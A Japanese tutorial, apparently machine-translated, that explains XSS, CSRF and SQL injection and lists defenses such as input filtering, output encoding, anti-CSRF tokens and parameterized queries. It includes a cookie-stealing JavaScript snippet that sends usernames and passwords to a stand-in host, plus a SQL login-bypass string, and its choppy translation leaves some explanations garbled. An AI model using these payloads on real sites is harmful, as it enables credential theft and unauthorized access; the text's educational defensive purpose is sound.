XSS攻撃の原則
Xss（クロスサイトスクリプティング）攻撃とは、攻撃者が悪意のあるhtmlタグまたはjavascriptコードをWebページに挿入することを指します。
例：
①攻撃者は、安全と思われるリンクをフォーラムに配置して、ユーザーをだましてクリックし、Cookie内のユーザーの個人情報を盗みます
。②または、攻撃者は悪意のあるフォームをフォーラムに追加しますが、ユーザーがフォームを送信すると、情報は、ユーザーが当初考えていた信頼できるサイトではなく、攻撃者のサーバーに送信されます。
以下は
、ユーザー入力を完全に信頼しているため、ユーザーがコメントを投稿できるようにしますが、下心のある一部のユーザーはこのように入力します
このように、誰がこのページにアクセスしても、コンソールは「Hey you are a fool fish！」と出力します。これが単なる悪意のある冗談である場合、一部の人々はかわいくないことを行い、一部のユーザーはこの脆弱性を使用してユーザーを盗みます情報、悪意のあるWebサイトを開くように仕向ける、悪意のあるプログラムをダウンロードするなど、
xssを使用してユーザー名とパスワードを盗む最も簡単な例を見てください。
もちろん、この例は非常に単純で、攻撃されるWebサイトはほとんどありません。原則を見てください。多くのログインインターフェイスには、ユーザーが次回ログインしやすいようにユーザー名とパスワードを記憶する機能があることがわかっています。一部のWebサイトでは、ユーザー名とパスワードをプレーンテキストで直接記録します。悪意のあるユーザーがアカウントにログインした後、Webサイトの場合は、簡単なツールを使用してCookie構造名を表示します。 xssの脆弱性がある場合は、jsonpを使用して、他のユーザーのユーザー名とパスワードを取得できます。
悪意のあるユーザーが入力します
http://test.com/hack.jsに隠されているものを見てみましょう
<pre style="margin: 0px; white-space: pre-wrap; overflow-wrap: break-word; padding: 0px; list-style-type: none; list-style-image: none; font-family: "Courier New" !important; font-size: 12px !important;">
var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
</pre>
いくつかの簡単なjavascript、Cookie内のユーザー名とパスワードを取得し、jsonpを使用して指示しますhttp://test.com/index.php
害：
1.マシンログインアカウント、ユーザーオンラインバンキングアカウント、さまざまな管理者アカウントなどのユーザー情報を盗む
2.機密性の高い企業データの読み取り、改ざん、追加、削除など、企業データを管理します
3.会社からの商業的価値のある重要なデータの盗難
4.違法な転送
5.メールを強制する
7.被害者のマシンを制御して、他のWebサイトに攻撃を仕掛けます
XSS攻撃防止方法
まず、コード内のユーザー入力の場所と変数の長さを注意深くチェックする必要があり、 "<"、 ">"、 ";"、 "'"などの文字がフィルタリングされます。
次に、コンテンツをページに書き込む前にエンコードして、回避する必要があります。htmlタグが誤って作成されました。このレベルがうまく行われていれば、XSS攻撃の少なくとも半分以上をブロックできます。まず、メールやパスワードなどのCookieでユーザーのプライバシーを直接漏らさないようにします。
次に、CookieをシステムIPにバインドして、Cookieの漏洩のリスクを軽減します。このように、攻撃者が取得したCookieには実際の値がなく、再生できません。
フォームを送信するには、GETではなくPOSTを使用してみてください
XSS攻撃とCSRF攻撃（クロスサイトリクエスト偽造）の違い
XSSは、他のユーザーページのコードやデータパッケージを事前に知らなくても情報を取得するためのものです。CSRFは、ユーザーに代わって指定されたアクションを完了するためのものであり、他のユーザーページのコードとデータパケットを知る必要があります。
CSRF攻撃を完了するには、被害者は次の2つの手順を順番に完了する必要があります。
信頼できるWebサイトAにログインし、ローカルでCookieを生成します。
Aからログアウトせずに危険なWebサイトBにアクセスします。
CSRF攻撃
原則：
CSRF（Cross Site Request Forgery）、つまりクロスサイトリクエストの偽造は、一般的なWeb攻撃です。CSRF攻撃の被害者ユーザーは、WebサイトAにログオンし、個人情報を入力して、サーバーによって生成されたCookieをローカルに保存します。次に、A Webサイトで攻撃者によって作成された悪意のあるリンクをクリックしてB Webサイトにジャンプし、次にBWebサイトによって運ばれるユーザーCookie情報をクリックしてBWebサイトにアクセスします。一連の操作を実行するために、ユーザーが自分でアクセスしたという誤った印象をWebサイトに作成させます。最も一般的なのは、転送です。
例：
1。Webサイトユーザーのボブがチャットフォーラムを閲覧しているときに、別のユーザーのアリスもこのフォーラムに参加していて、後者がボブの銀行へのリンクを含む画像メッセージを投稿したところです。アリスがボブの銀行サイトで撤回のフォームを送信するためのリンクを作成し、このリンクを画像srcとして使用するとします。ボブの銀行が承認情報をCookieに保存していて、Cookieの有効期限が切れていない場合、ボブのブラウザが画像を読み込もうとすると、引き出しフォームとCookieが送信されるため、ボブの同意なしに承認を行うことができます。このトランザクション。
害：
信頼できる入力フォームと、特定のアクションを許可する必要のない認証済みユーザーに基づいて特定のアクションを実行するWebアプリケーション。ユーザーのブラウザに保存されているCookieによって認証されたユーザーは、自分を信頼しているサイトに知らないうちにHTTPリクエストを送信し、ユーザーが実行したくないアクションを実行します。
防止：
1.検証コード。
アプリケーションとユーザーの間の対話のプロセス、特にアカウントトランザクションのコアステップでは、ユーザーは最終的な要求を完了するために確認コードを入力する必要があります。通常の状況では、検証コードは
CSRF攻撃を阻止するのに十分です。ただし、確認コードを追加するとユーザーエクスペリエンスが低下し、Webサイトがすべての操作に確認コードを追加できるわけではありません。したがって、検証コードは、主要なビジネスポイントで検証コードを設定するための補助的な手段としてのみ使用できます。
2.アンチCSRFトークン。
現在のより完全な解決策は、Anti-CSRF-Tokenを
追加することです。つまり、要求を送信するときにHTTP要求のパラメーターとしてランダムに生成されたトークンを追加し、サーバー上にインターセプターを確立してトークンを検証します。サーバーは、ブラウザーの現在のドメインのCookie内のトークン値を読み取り、要求内
のトークンとCookie内のトークン値の両方が存在し、等しいかどうかを確認してから、これを正当な要求と見なします。
CSRF防衛
サーバー側でのCSRFには多くの方法と方法がありますが、一般的な考え方は同じで、クライアントページに疑似ランダム番号を追加することです。
確認コードに合格する方法
SQLインジェクション攻撃
原則：
SQLインジェクション(SQL Injection)、アプリケーションがSQL(Structured Query Language構造化クエリ言語をバックエンドデータベースに送信すると、攻撃者はSQLコマンドをWebフォーム送信に挿入するか、ドメイン名またはページリクエストのクエリ文字列を入力し、最後にサーバーをだまして悪意のあるSQLコマンドを実行します。
例：
特定のWebサイトのログイン検証用のSQLクエリコードは次のとおりです。
strSQL = "SELECT * FROM users WHERE (name = '" + userName +"') and (pw = '"+ passWord +"');"
悪意を持って
userName = "1' OR '1'='1";
および
passWord = "1' OR '1'='1";を入力
すると、元のSQL文字列が入力されます。
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
つまり、実際に実行されるSQLコマンドは次のようになります。
strSQL = ``"SELECT * FROM users;"
したがって、アカウントパスワードなしでWebサイトにログインできます。したがって、SQLインジェクション攻撃は、一般にハッカーの空欄埋めゲームとして知られています。
害：
管理者権限を取得する
防止：
1.ブラックリストまたはホワイトリストの検証を追加する
ホワイトリストの検証とは、通常、ユーザー入力が予想されるタイプ、長さ、値の範囲、またはその他の形式の標準を満たしているかどうかを確認することです。ブラックリスト検証とは、ユーザー入力に明らかな悪意のあるコンテンツが含まれている場合、ユーザー要求が拒否されることを意味します。ホワイトリスト検証を使用する場合、通常はブラックリスト検証と連携します。
2.安全検査
プロジェクトが完了したら、常に安全検査を主張してください。
3.システム
の機密情報の漏洩を防止します。データテーブルのアクセス権を厳しく管理し、ユーザーの不要なアクセス権を制限するようにしてください。
総括する：
sqlインジェクションの原則は
、SQLコマンドをWebフォームに挿入して、ドメイン名またはページ要求のクエリ文字列を送信または入力し、最終的にサーバーをだまして悪意のあるSQLコマンドを実行することです。
SQLインジェクション防止
1.ユーザーの入力を絶対に信用しないでください。ユーザーの入力を確認するには、通常の式を使用するか、長さを制限し、一重引用符と二重「-」などを変換します。
2.動的アセンブリSQLは絶対に使用しないでください。パラメータ化されたSQLを使用するか、データクエリアクセスにストアドプロシージャを直接使用できます。
3.管理者のデータベース接続を使用しないでください。また、アプリケーションごとに権限が制限された個別のデータベース接続を使用してください。
4.機密情報をプレーンテキストで保存しないでください。パスワードと機密情報を暗号化またはハッシュ化してください。
XSS
Xss（クロスサイトスクリプティング）攻撃とは、攻撃者が悪意のあるhtmlタグまたはjavascriptコードをWebページに挿入することを指します。
xss防止
まず、コード内のユーザー入力の場所と変数の長さを注意深くチェックする必要があり、 "<"、 ">"、 ";"、 "'"などの文字がフィルタリングされます。
次に、コンテンツをページに書き込む前にエンコードして、回避する必要があります。htmlタグが誤って作成されました。このレベルがうまく行われていれば、XSS攻撃の少なくとも半分以上をブロックできます。まず、メールやパスワードなどのCookieでユーザーのプライバシーを直接漏らさないようにします。
次に、CookieをシステムIPにバインドして、Cookieの漏洩のリスクを軽減します。このように、攻撃者が取得したCookieには実際の値がなく、再生できません。
フォームを送信するには、GETではなくPOSTを使用してみてください
CSRF
CSRF（Cross Site Request
Forgery）、またはクロスサイトリクエストの偽造は、一般的なWeb攻撃です。CSRF攻撃の被害者ユーザーは、WebサイトAにログオンし、個人情報を入力して、サーバーによって生成されたCookieをローカルに保存します。次に、A Webサイトで攻撃者によって作成された悪意のあるリンクをクリックしてB Webサイトにジャンプし、次にBWebサイトによって運ばれるユーザーCookie情報をクリックしてBWebサイトにアクセスします。
CSRF防衛
サーバー側でのCSRFには多くの方法と方法がありますが、一般的な考え方は同じで、クライアントページに疑似ランダム番号を追加することです。
確認コードに合格する方法